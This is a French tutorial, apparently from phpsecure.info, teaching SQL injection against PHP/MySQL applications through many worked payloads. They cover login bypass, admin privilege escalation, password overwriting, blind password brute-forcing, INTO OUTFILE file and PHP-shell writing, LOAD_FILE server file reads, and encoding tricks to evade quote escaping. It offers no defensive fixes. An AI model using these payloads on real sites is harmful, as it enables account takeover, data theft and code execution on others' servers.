Injection (My)SQL via PHP
Titre:
L'injection (My)SQL via PHP
Niveau : Wild
Chapo : L'injection SQL
est une faille très répandue sur le web, exploitable
très facilement et sans connaissances techniques importantes.
Elle est pourtant extrêmement dangereuse puisqu'elle permet de
manipuler directement les bases de données des sites. Les
possibilités sont alors nombreuses : vol de données,
affichage de mots de passe, authentification illégitime sur un
service...
Introduction
:
Le
texte qui suit va vous apprendre ce que je sais de l'injection SQL
dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est
inscrit en bleu et les valeurs données à des variables
dans le but de faire de l'injection sont en rouge. Tout ce qui est
écrit ici a été mis en pratique par
moi-même.
Finalement, il y a peu de cas d'injection SQL
applicables avec le langage PHP, contrairement à l'ASP ou au
JSP, à cause de sa configuration par défaut (on en
reparlera plus tard). Mais ça arrive quand même, parfois
à grande échelle, et de toute façon la théorie
est assez intèressante.
Avec les nombreuses mises à
jour de MySQL, il est évident qu'un tutoriel sur ce sujet ne
sera jamais complet (ou du moins pas longtemps).
Rappelons que
l'injection SQL consiste en changer le but premier d'une requête
SQL, grâce à des variables modifiables par
l'utilisateur.
Imaginons une page php permettant de rechercher un
utilisateur enregistré sur le site.
La requête
pourrait être quelque chose du style:
$req
= "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY
name";
où
$search est la variable modifiable par l'utilisateur, venant d'un
formulaire post (ou autre chose) de ce type :
Un
exemple d'injection SQL, pour afficher par exemple les membres non
pas par ordre alphabétique (par 'name'), mais
bien par uid,
donc par ordre d'inscription, serait de donner à $search la
valeur : %'
ORDER BY uid#. La requête executée
serait alors transformée en :
SELECT
* FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
Ce
qui n'est pas la volonté originelle du script.
Je ne vais
pas détailler cet exemple; ne prÉcipitons pas trop les
choses, chaque chose en son temps, tout vient à point à
qui sait attendre, qui vivra verra (?) :)
Revenons au problème
de la configuration PHP. Il y a dans le php.ini une ligne permettant
de définir le "magic_quotes_gpc". Si cette option
est sur ON, ce qui est le cas par défaut (donc pour 97% des
sites php), les " et les ' vont êtres "slashés",
c'est-à-dire qu'ils seront transformés en \" et
\'.
Donc si c'était le cas dans notre premier exemple, la
requête exécutée aurait été :
SELECT
* FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
Ce
qui revient à chercher un nom qui contient la phrase : %'
ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr
aucun résultat.
C'est pourquoi dans ce tutoriel nous allons
considerer que nous travaillons sur un site avec le magic_quotes_gpc
sur OFF.
Les trois principaux types de requêtes
exécutées dans des scripts PHP sont SELECT, INSERT et
UPDATE.
SELECT extrait des renseignements d'une ou plusieurs
tables, INSERT ajoute un enregistrement, et UPDATE modifie un
enregistrement déjà créé.
SELECT
:
Commencons par la plus classique, la
requête SELECT, ce qui va aussi nous permettre de voir en
premier le type d'injection SQL le plus connu, le plus utilisé,
et pour lequel il y a le plus à dire. SELECT est souvent
utilisé dans les authentifications admins ou
membres.
Imaginons donc un formulaire où on demande le mot
de passe et le login. Les valeurs entrées sont renvoyées
vers une requête MySQL :
$req
= "SELECT uid FROM admins WHERE login='$login' AND
password='$pass'";
On
exécute ensuite cette requête, s'il y a un résultat,
c'est que le login et mot de passe existent bien et correspondent, et
donc qu'on est administrateur. A première vue, pour valider
cette requête, il faut un login et un mot de passe valide. Pour
que l'expression login='$login' ou password='$pass' renvoie 'vrai',
il faudrait que le login ou le mot de passe entré dans
$login/$pass existe.
C'est le moment de parler des conditions qui
renvoient toujours 'vrai'. On devrait plutôt les appeler des
affirmations que des conditions dans ces cas-là. Je vous ai
concocté une petite liste de requêtes qui renverront
toujours 'vrai' :
SELECT
* FROM table WHERE 1=1
SELECT * FROM table WHERE
'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM
table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT *
FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM
table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT
* FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS
NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM
table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b'
BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT
* FROM table WHERE CASE WHEN 1>0 THEN 1 END
Vous
l'avez compris, on affirme à chaque fois une réalité
sûre : 1=1 (1 égal 1... hé oui), 1 est différent
de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est
NULL, etc... Il en existe bien sûr beaucoup d'autres.
Cette
idée d'expression qui renvoie toujours 'vrai' est un des
grands principes de l'injection SQL. En effet, si on arrive à
insérer un "toujours vrai" dans la requête,
inutile d'avoir un login et un mot de passe.
Par exemple en
donnant à $login et $pass la valeur : '
OR 'a'='a, on exécutera une requête SQL du type :
SELECT
uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
Ce
qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici,
c'est le premier enregistrement de la table qui sera choisi, l'uid
extrait sera donc '1'. Et la plupart du temps, le premier
membre/admin enregistré est le propriétaire du site,
ayant donc le plus de droits. Si on veut pouvoir choisir le compte
auquel accèder, il faut avoir une information, par exemple le
pseudo. Si on veut accéder au compte de John, il suffit de
rentrer comme $login "John" et comme $pass une expression
renvoyant toujours 'vrai', par exemple : ' OR
'b' BETWEEN 'a' AND 'c, ce qui exécutera la requête
:
SELECT
uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a'
AND 'c'
Voyons
maintenant un autre grand principe de l'injection SQL, qui peut être
utile dans l'exemple que nous avons ici, et dans d'autres à
venir : l'utilisation de caractères "commentaires".
Il
y a d'abord le caractère # qui commente tout ce qui le suit
(ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT
* FROM table WHERE nom='Jack'# commentaire
exécutera
la requête :
SELECT
* FROM table WHERE nom='Jack'
L'autre
possibilité est d'utiliser /* et */, qui transforme en
commentaires ce qui se trouve entre les 2. Par exemple :
SELECT
* FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
exécutera
la requête :
SELECT
* FROM table WHERE addresse='25 rue des roubys'
L'utilisation
de ces caractères dans l'injection SQL va ici principalement
nous servir à faire ignorer des parties de requête à
l'exécution, de façon à sauter des conditions,
un peu comme la méthode 'jump' en cracking.
Revenons à
notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme
$login : John'#, ce qui donnera la
requête :
SELECT
uid FROM admins WHERE login='John'#' AND password=''
et
la partie ' AND password='' sera ignorée.
L'injection
peut servir à beaucoup de choses, de beaucoup de manières
différentes. Imaginons par exemple qu'il y ait plusieurs
niveaux d'administration (appelons le champ de la table 'admin' :
'admin_level'), que le premier membre enregistré n'est qu'un
modérateur et qu'on veuille avoir un compte de niveau 1.
Une
injection dans ce cas serait par exemple de donner à $login la
valeur : ' OR
admin_level=1#, ce qui donnerait la requête
suivante :
SELECT
uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
Une
autre façon d'utiliser le SQL pour logger un utilisateur/admin
en SQL, serait non pas de vérifier directement le login ET le
mot de passe dans une requête SQL, mais bien d'extraire d'abord
le mot de passe en fonction du login, avec une ligne de code comme :
$req
= "SELECT password FROM admins WHERE login='$login'";
Ensuite
le script vérifiera si le mot de passe entré dans le
formulaire est bien celui extrait de la table admins. Encore une
fois, ce système n'est pas fiable, à cause de la
fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT
* FROM table INTO OUTFILE '/complete/path/to/file.txt'
enregistrera
tout le contenu de la table 'table' dans le fichier
/complete/path/to/file.txt.
Donc si pour notre exemple on entre
comme valeur à $login : John'
INTO DUMPFILE '/path/to/site/file.txt, la
requête deviendra :
SELECT
password FROM admins WHERE login='John' INTO DUMPFILE
'/path/to/site/file.txt'
Et
le mot de passe de John sera enregistré dans le fichier
http://[target]/file.txt. Pour avoir tous les mots de passe, il
faudra utiliser une expression renvoyant toujours 'vrai', par exemple
en donnant à $login la valeur suivante : '
OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il
y a cependant quelques conditions à l'utilisation de INTO
OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet
du fichier dans lequel enregistrer le résultat.
- Le
fichier ne peut pas déjà exister (ce qui empêchera
de remplacer des fichiers comme /etc/passwd)
- On doit avoir les
privilèges de la gestion de fichiers.
Il y a aussi une
différence entre OUTFILE et DUMPFILE, c'est que si la requête
extrait plusieurs colonnes, elles seront clairement séparées
en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE
elles seront toutes dans une seule colonne.
Note : le fichier créé
sera éditable par tous.
Cette option INTO OUTFILE peut
encore aller un peu plus loin. Imaginons que nous avons un compte
nommé 'frog' sur le site ayant ce type de requête. Nous
pouvons donc changer nous-même le mot de passe. Si on y met un
code PHP, puis qu'on tape dans le formulaire, comme $login : frog'
INTO OUTFILE '/path/to/site/file.php.
Cela
aurait comme effet de noter notre code PHP dans un fichier PHP, que
l'on pourrait ensuite exécuter !
Je rappelle que, comme mes
autres exemples, ce ne sont que des exemples, il y a donc bien
d'autres possibilités (ici ça aurait pu être du
code dans un message, dans le profile, ...). On pourrait aussi
utiliser cette fonction pour saturer le disque dur, mais ça
peut directement prendre plus de temps :)
L'injection SQL dans
la requête de type SELECT peut aussi nous permettre de faire
des recherches un peu spéciales, entre autre grâce au
'LIKE'. Je vais reprendre, pour expliquer ce point, la requête
de départ (à part un changement de table) :
$req
= "SELECT uid FROM membres WHERE login='$login' AND
password='$pass'";
mais
je tiens à dire encore une fois que j'aurais pu prendre pleins
d'autres exemples, entre autre la requête montrée dans
l'intro (que vous devriez comprendre complêtement après
cette partie, si ce n'était pas le cas avant).
D'abord un
peu de théorie purement SQL (sans l'injection :)) :
SELECT
* FROM table WHERE msg LIKE '%hop'
va
extraire tous les éléments de la table 'table', où
le champ 'msg' termine par 'hop'.
SELECT
* FROM table WHERE msg LIKE 'hop%'
va
extraire tous les éléments de la table 'table', où
le champ 'msg' commence par 'hop'.
SELECT
* FROM table WHERE msg LIKE '%hop%'
va
extraire tous les éléments de la table 'table', où
le champ 'msg' contient 'hop'.
SELECT
* FROM table WHERE msg LIKE 'h%p'
va
extraire tous les éléments de la table 'table', où
le champ 'msg' commence par h et termine part p.
SELECT
* FROM table WHERE msg LIKE 'h_p'
va
extraire tout les éléments de la table 'table', où
le champ 'msg' commence par h et termine part p, et contient un seul
caractère à l'endroit du _.
Passons maintenant à
l'injection. Le LIKE peut nous permettre de 'brute forcer' des
informations de la base de donnée. Par exemple, si nous
voulons savoir si la première lettre du mot de passe de
l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à
$login : Bob' AND password LIKE 'a%'#,
ce qui donnerait la requête :
SELECT
uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND
password=''
Si
on rentre dans le compte de Bob, c'est que son mot de passe commence
bien par a. Sinon, il nous suffit de tenter une autre première
lettre... puis quand elle sera trouvée, de recommencer avec la
deuxième, la troisième, la quatrième lettre
etc... L'injection SQL est parfois plus facile si elle est appliquée
en deux temps, grâce à l'utilisation de ses
connaissances SQL. Car la connaissance de l'injection SQL commence
avec la connaissance du langage SQL !
Par exemple, un problème
qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait
pas la longueur du mot de passe à cracker. On peut donc être
arrivé au bout du mot de passe mais le programme continuera à
le chercher. Pour ça une solution est de faire un premier test
avec la fonction LENGTH(). Si on donne comme valeur à $login :
Bob' AND LENGTH(password)=6#, on
obtiendra la requête :
SELECT
uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND
password=''
Si
le mot de passe de Bob est long de 6 caractères, on se
retrouvera dans son compte.
Reprenons la requête de l'intro
:
$req
= "SELECT email, website FROM membres WHERE name LIKE
'%$search%' ORDER BY name";
pour
parler un peu du ORDER BY. Son utilité n'est pas
extraordinaire, mais il faut quand même en parler. Cette
requête permet d'extraire les informations des utilisateurs
dont le pseudo contient la valeur de $search. J'ai légèrement
modifié la requête de début pour qu'on ne puisse
pas utiliser très efficacement le INTO OUTFILE.
Dans
l'intro j'ai évoqué l'idée de mettre comme
valeur à $search : %' ORDER BY uid#
ce qui donne la requête :
SELECT
* FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
et
nous affiche tous les membres classés par ordre d'inscription.
Cela pourrait être utile pour repérer l'administrateur,
qui est sûrement le premier inscrit.
Il est parfois possible
de les classer par niveau de modération (s'il y a un champ
type user_level), par mot de passe, en donnant à $search la
valeur : %' ORDER BY password#, par
longueur de mot de passe (%' ORDER BY
LENGTH(password)#), etc...
C'est d'autant plus intéressant
pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si
on peut nous-même nous inscrire en tant que membre, et
connaissant notre mot de passe, on peut le comparer grâce à
sa place aux mots de passe des autres.
Dans certains scripts,
c'est plus simple, la requête est de type :
$req
= "SELECT email, website FROM membres WHERE name LIKE
'%$search%' ORDER BY $orderby";
(comme dans PHP-Nuke) il suffit
alors de changer le $orderby.
Note : ORDER BY *** affiche le
résultat classé par champ *** dans l'ordre croissant
(0->9, a->z,...). Si on place le mot 'DESC' à la fin de
la requête ([...] ORDER BY champ DESC), ça sera dans
l'ordre décroissant.
INSERT
:
Voyons maintenant les injections SQL
liées à la requête INSERT, qui permet d'ajouter
de nouveaux enregistrements à une table. L'utilisation utile
d'injection SQL dans une requête INSERT est plus rare, mais
existe néanmoins.
Si on prend l'exemple de l'inscription
d'un membre, ce qui est le plus courant, on peut imaginer d'abord une
table créée de cette façon :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login
varchar(25),
password varchar(25),
nom varchar(30),
email
varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
Il
y a donc dans cette table un id utilisateur, comme clef primaire qui
s'auto incrémente, le login, mot de passe, nom, email et le
niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une
requête pour créer un compte dans un service PHP, serait
par exemple :
$query1
= "INSERT INTO membres (login,password,nom,email,userlevel)
VALUES ('$login','$pass','$nom','$email','1')";
Quatre
variables sont modifiables ici, donc quatre possibilités
d'injection. Prenons pour l'exemple la plus simple, la variable
$email. Si on lui donne comme valeur : ','3')#
, la requête deviendra :
INSERT
INTO membres (login,password,nom,email,userlevel) VALUES
('','','','','3')#','1')
et
le nouveau membre créé aura le statut admin (la partie
après # étant ignorée).
Si
on avait voulu utiliser la variable $nom, il aurait fallut mettre
','','3')#, pour $pass ','','','3')#
etc... Ceci n'est pas la seule façon d'utiliser INSERT; il y
en a deux autres. Mais voyons-les plutôt si la table avait été
créée de cette façon :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login
varchar(25),
password varchar(25),
nom varchar(30),
email
varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)
Le
changement est qu'userlevel a une valeur par défaut : 1
(utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on
soit automatiquement utilisateur et non pas modérateur, les
droits étant donnés par l'administrateur.
Il y a
alors peu de chances de retomber sur une requête INSERT comme
vue avant, où l'userlevel est indiqué. Voici le genre
de requête INSERT sur lequel on risque de tomber :
$query2
= "INSERT INTO membres SET
login='$login',password='$pass',nom='$nom',email='$email'";
Pour
modifier son niveau d'utilisateur, il suffira d'entrer dans une des
quatre variables la valeur suivante : ',userlevel='3
ce qui donnera comme requête, si par exemple on attribue cette
valeur à $nom :
INSERT
INTO membres SET login='',password='',nom='',userlevel='3',email=''
Et
le nouvel utilisateur sera créé avec des droits
administrateurs.
Imaginons maintenant que l'id soit une chaîne
de caractères créée aléatoirement. La
création de la table se ferait alors de la sorte :
CREATE
TABLE membres (
id varchar(15) NOT NULL default '',
login
varchar(25),
password varchar(25),
nom varchar(30),
email
varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
La
requête SQL pourrait alors être du type :
$query3
= "INSERT INTO membres VALUES
('$id','$login','$pass','$nom','$email','1')";
Et
l'injection SQL est du même type que pour la première
requête. On peut par exemple donner à la variable $email
la valeur : a@a.a','3')#, ce qui
donnerait le droit administrateur à l'utilisateur créé,
avec la requête :
INSERT
INTO membres VALUES
('[ID]','[LOGIN]','[PASS]','[NOM]','a@a.a','3')#','1')
UPDATE
:
Voyons maintenant les requêtes
UPDATE, qui sont moins répandues que les SELECT, plus que les
INSERT, et qui permettent de mettre à jour les champs d'un
enregistrement dans la table d'une base de données.
Reprenons
pour le premier exemple la table :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login
varchar(25),
password varchar(25),
nom varchar(30),
email
varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
qui
est donc une table créée pour une partie membres.
Un
endroit où on pourrait trouver une requête UPDATE dans
une partie membre est le changement des informations d'un membre, la
modification de son profil utilisateur. Ici on pourrait y changer son
mot de passe, son nom et son email.
La requête SQL serait
alors du type :
$sql
= "UPDATE membres SET password='$pass',nom='$nom',email='$email'
WHERE id='$id'";
Imaginons
d'abord que l'$id ne soit pas modifiable par l'utilisateur - ce qui
serait un problème de sécurité qui n'est plus
lié à l'injection SQL.
Une première
possibilité ici serait de modifier un autre champ que les
champs password, nom et email, par exemple le champ userlevel, qui,
je le rappelle, contient le niveau de modération de
l'utilisateur. Ceci serait possible en donnant par exemple à
$nom la valeur : ',userlevel='3 ce qui
donnerait comme requête SQL :
UPDATE
membres SET password='[PASS]',nom='',userlevel='3',email='[EMAIL]'
WHERE id='[ID]'
De
cette façon il est donc possible de modifier n'importe que
champ de votre enregistrement dans la table.
Mais
il y a mieux. On peut également, si cette injection SQL est
possible, opérer une autre injection qui, en plus de pouvoir
changer n'importe quel champ d'un enregistrement, pourrait changer
les champs de n'importe quel enregistrement !
En effet imaginons
que l'on donne à $pass la valeur : [nouveaupass]'
WHERE nom='Admin'#. La requête deviendrait alors :
UPDATE
membres SET password='[nouveaupass]' WHERE
nom='Admin'#',nom='[NOM]',email='[EMAIL]' WHERE id='[ID]'
le
SQL exécuté (donc sans les commentaires) serait :
UPDATE
membres SET password='[nouveaupass]' WHERE nom='Admin'
et
le mot de passe du compte dont le nom est "Admin"
deviendrait [nouveaupass].
Dernière possibilité
pour arriver au même résultat : si l'$id est modifiable
par l'utilisateur, on peut lui donner la valeur : '
OR name='Admin, ce qui donnerait la requête :
UPDATE
membres SET password='[PASS]',nom='[NOM]',email='[EMAIL]' WHERE id=''
OR name='Admin'
ce
qui, encore une fois, changerait les informations du compte d'Admin
et non pas de notre propre compte.
Voilà les grandes
lignes. Pour voir un peu plus en profondeur, je vais changer
d'exemple, et prendre la table créée de la manière
suivante :
CREATE
TABLE news (
idnews int(10) NOT NULL auto_increment,
title
varchar(50),
author varchar(20),
news text,
Votes
int(5),
score int(15),
PRIMARY KEY (idnews)
)
qui
est donc une table destinée à contenir des news, avec
un titre, un auteur, bien sûr un contenu, mais qui permettra
aussi de voter pour chaque news, avec un nombre de votants et un
score. Pour voter, la requête sera du style :
$sql
= "UPDATE news SET Votes=Votes+1, score=score+$note WHERE
idnews='$id'";
Je
prends cet exemple car c'est via une requête de ce style que
j'ai approfondi ma connaissance de l'injection SQL dans les requêtes
UPDATE, plus précisément dans PHP-Nuke, et j'ai
retrouvé la faille dans d'autres services (annuaires de
liens,...).
Ici on ne va pas toucher à la variable $id; sa
modification ne nous servirait à rien, puisqu'on peut voter
pour chacune des news. On voit donc que la requête incrémente
"Votes", qui est le nombre de votants, et ajoute à
"score" le nouveau score choisi. On remarque d'abord qu'en
complétant correctement la requête, on peut modifier
n'importe quel champ de la news choisie.
Par exemple en donnant à
$id le valeur 12 et à $note la valeur : 3,
title='hop' on obtiendra la requête :
UPDATE
news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews='12'
qui
ajoutera un votant, augmentera le score de 3 points et changera le
titre de la news n° 12 en 'hop'.
Un point plus intéressant
dans cette requête est que l'injection peut être
effectuée que magic_quotes_gpc soit sur ON OU sur OFF, ce qui
est le principal problème dans l'injection SQL avec PHP ! En
effet la variable modifiable $note n'est entourée ni de
guillements ni d'apostrophes. On peut donc changer le but premier de
la requête, sans utiliser de ' ou de ", et donc sans avoir
de problèmes avec les filtres de la configuration PHP.
Un
exemple d'injection sans ' ni " : on donne à $note la
valeur : 3,Votes=0 pour avoir la requête
:
UPDATE
news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews='12'
et
remettre le nombre de votants à 0.
Evidemment, on ne peut
changer (à première vue) que les chiffres, car pour
définir un char, varchar, text,... il faut utiliser des ' ou "
(title='hop').
C'est là qu'interviennent les fonctions de
conversions de chaînes de caractères. Par exemple, la
fonction MySQL char(), qui renvoie la valeur qui correspond aux
chiffres donnés en ASCII. Donc char(97,98,99) vaudra "abc".
Il est donc possible d'insérer du texte sans être bloqué
par le magic_quotes_gpc. Par exemple pour changer le titre en "hop",
on pourra donner à $note la valeur 3,
title=char(104,111,112), ce qui donnera la requête :
UPDATE
news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE
idnews='12'
On
peut avoir facilement la valeur hexadécimale via SQL lui-même
en utilisant la fonction ASCII() ou ORD(). ASCII('h') et ORD('h')
renvoient 104. Il est également possible de jouer avec les
caractères sans ' ou " grâce au fait que MySQL
reconnait directement les caractères hexadécimaux et
les convertit. Par exemple 0x616263 est compris comme "abc".
Donc si on atttribue à $note la valeur 3,
title=0x616263 , le titre sera changé en "abc"
car la requête effectuée sera :
UPDATE
news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE
idnews='12'
Enfin,
une troisième possibilité est l'utilisation de la
fonction CONV(), qui convertit d'une base à l'autre (base
minimum 2, maximum 36).
Par exemple on pourrait donner à
$note la valeur 3, title=CONV(10202210,3,16),
3, title=CONV(5274,8,16), etc... pour
transformer le titre en "abc". Ce qui est pratique avec
cette fonction, c'est que pour savoir la valeur à donner au
premier argument, il suffit de convertir dans l'autre sens,
c'est-à-dire d'exécuter SELECT CONV("abc",16,3),
CONV("abc",16,8).
Quelques informations peuvent
également être extraites grâce aux fonctions
DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou
SESSION_USER() ) qui renvoient respectivement le nom de la base
courante et le nom de l'utilisateur courant. Ainsi on aura le nom de
la base de donnée utilisée dans le titre en attribuant
comme valeur à $note : 3,
title=DATABASE(), ce qui donne la requête :
UPDATE
news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE
idnews='12'
Parlons
enfin d'une fonction extrêmement intéressante, mais qui
s'applique rarement : la fonction LOAD_FILE().
Comme le dit son
nom, elle charge un fichier donné en argument. Plus
précisément elle lit et retourne comme une chaîne
le contenu du fichier donné en argument. Il y a plusieurs
conditions à son utilisation :
- Le fichier doit être
sur le serveur
- Son path complet doit être spécifié
-
On doit avoir le privilège FILE
- Le fichier doit être
lisible par tous
- Le fichier doit être plus petit que le
max_allowed_packet
Si toutes ces conditions sont remplies, on
peut enfin charger des fichiers dans la base de données. Le
champ pouvant contenir le plus de caractères est le champ
"news" (de type text), c'est donc celui-ci que nous allons
utiliser. Pour copier par exemple le fichier /tmp/picture (je
reprends l'exemple de MySQL pour ne pas utiliser le classique
/etc/passwd) dans le champ "news" de la news 12, on peut
attribuer à $note la valeur 3,
news=LOAD_FILE('/tmp/picture') ce qui donnera la requête
:
UPDATE
news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture')
WHERE idnews='12'
Conclusion
:
Voilà déjà pas
mal de choses qui peuvent se faire avec l'injection SQL... ça
change de l'éternel 1=1 qu'on voit partout dans les textes à
ce sujet.
Il manque certainement certaines choses, comme par
exemple l'UNION, ajouté dans la version 4.0.0 de MySQL, je
ferais donc peut-être des rajouts par la suite à ce
texte. Si c'est le cas je les mentionnerais ici, avec la date
correspondante.
Pour tout commentaire, questions,... vous pouvez
me mailer à leseulfrog@homail.com.
Sachez que la majeure partie des injections SQL développées
dans cet article fonctionnent aussi sur d'autres serveurs que MySQL,
avec peu ou pas de modifications. Citons en particulier le serveur
MS-SQL de Microsoft.
By Frog-m@n
du site http://www.phpsecure.info
<<
Coder un buffer overflow sur un octet | | Tous les secrets des adresses IP >>